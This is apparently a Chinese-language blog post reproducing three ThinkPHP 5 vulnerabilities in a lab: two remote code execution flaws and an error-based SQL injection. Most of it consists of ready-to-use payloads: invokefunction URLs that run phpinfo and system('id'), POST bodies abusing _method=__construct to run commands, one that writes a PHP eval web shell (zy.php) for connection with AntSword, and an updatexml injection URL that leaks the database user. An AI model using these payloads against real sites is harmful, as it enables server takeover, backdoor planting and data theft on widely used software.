Thinkphp漏洞复现
文章目录
Thinkphp5 5.0.22/5.1.29远程代码执行漏洞
原理
ThinkPHP是国内使用极为广泛的PHP开发框架。在其版本 5 中,由于框架处理控制器名称不正确,如果网站未启用强制路由(这是默认设置),它可以执行任何方法,从而导致 RCE 漏洞。
影响版本
Thinkphp =5.0.22 / 5.1.29
复现
访问192.168.0.128:8080/index.php,出现thinkphp界面
poc1
http://your-ip:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
poc2
http://192.168.0.128:8080//index.php?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=100index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
ThinkPHP5 5.0.23远程代码执行漏洞
原理
ThinkPHP 是一款运用极广的 PHP 开发框架。其 5.0.23 以前的版本中,获取 method 的方法中没有正确处理方法名,导致攻击者可以调用 Request 类任意方法并构造利用链,从而导致远程代码执行漏洞。
影响版本
5.0.23
复现
POC
路径:
index.php?s=captcha
测试过程:
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
上传木马
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo '<?php @eval($_REQUEST["pass"]);?>' > zy.php
查看路径
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls
蚁剑连接即可
ThinkPHP5 SQL注入漏洞
原理
传入的某参数在绑定编译指令的时候又没有安全处理,预编译的时候导致SQL异常报错。然而thinkphp5默认开启debug模式,在漏洞环境下构造错误的SQL语法会泄漏数据库账户和密码。
影响版本
ThinkPHP < 5.1.23
复现
访问http://192.168.0.128/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1
信息泄露